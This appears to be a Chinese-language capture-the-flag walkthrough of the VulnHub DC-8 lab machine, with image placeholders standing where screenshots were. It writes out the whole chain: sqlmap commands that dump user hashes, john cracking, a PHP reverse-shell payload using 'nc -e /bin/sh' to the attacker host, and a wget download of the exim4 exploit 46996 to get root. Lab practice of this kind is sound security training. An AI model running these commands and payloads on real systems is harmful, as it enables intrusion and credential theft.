综合实战第二章
DC-8
环境准备
靶场下载:https://www.vulnhub.com/?page=2&q=dc
攻击机:
kali 192.168.3.134
win7 192.168.3.137
靶机:DC-8 192.168.3.170
信息搜集
Linux
nmap -p- -A 192.168.3.170

image-20220502190850315
先看看80端口

image-20220502191019229
用whatweb查看一下
Linux
whatweb http://192.168.3.170

image-20220502191729060
看不出啥,继续在网页里找吧

image-20220502191901919
可能存在sql注入
用sqlmap跑一下,出现库名
Linux
sqlmap -u "http://192.168.3.170/?nid=1" --dbs

image-20220502192047444
表名
Linux
sqlmap -u "http://192.168.3.170/?nid=1" -D d7db --tables

image-20220502192152641
列名
Linux
sqlmap -u "http://192.168.3.170/?nid=1" -D d7db -T users --columns

image-20220502192256668
字段名
Linux
sqlmap -u "http://192.168.3.170/?nid=1" -D d7db -T users -C name,pass --dump

image-20220502192419929
把账号和密码用:
相连

image-20220502192630660
破解用户名密码
Linux
john userpass

image-20220502193056991
出来john的了
可以登录了,访问
Linux
http://192.168.3.170/user/login

image-20220502193202261
确实登录成功
上传木马
既然已经进入了,就随便找找

image-20220502193709574
在webform这里发现可以上传php

image-20220502193736424
构造语句
php
<?php
system("nc -e /bin/sh 192.168.3.134 1234");
?>

image-20220502194111863
然后nc连接
Linux
nc -lvvp 1234
在view里执行

image-20220502194211624
连接成功

image-20220502194244761
提权
老规矩,先美化
Linux
python -c 'import pty;pty.spawn("/bin/bash")'
看一下哪些东西是root权限
Linux
find / -perm -u=s -type f 2>/dev/null

image-20220502194557668
有个exim4
查看exim4的版本
Linux
/usr/sbin/exim4 --version

image-20220502194747186
根据版本查找漏洞
Linux
searchsploit exim

image-20220502195007793
我们用46996
先拷贝到本地
Linux
cp /usr/share/exploitdb/exploits/linux/local/46996.sh 46996.sh
然后打开httpserver
Linux
python -m SimpleHTTPServer
然后在nc里面下载
Linux
wget http://192.168.3.134:8000/46996.sh

image-20220502195449340
加权限
Linux
chmod 777 46996.sh
运行
Linux
./46996.sh -m netcat
是root权限了

image-20220502195923899
拿到flag

image-20220502195846888
结束!!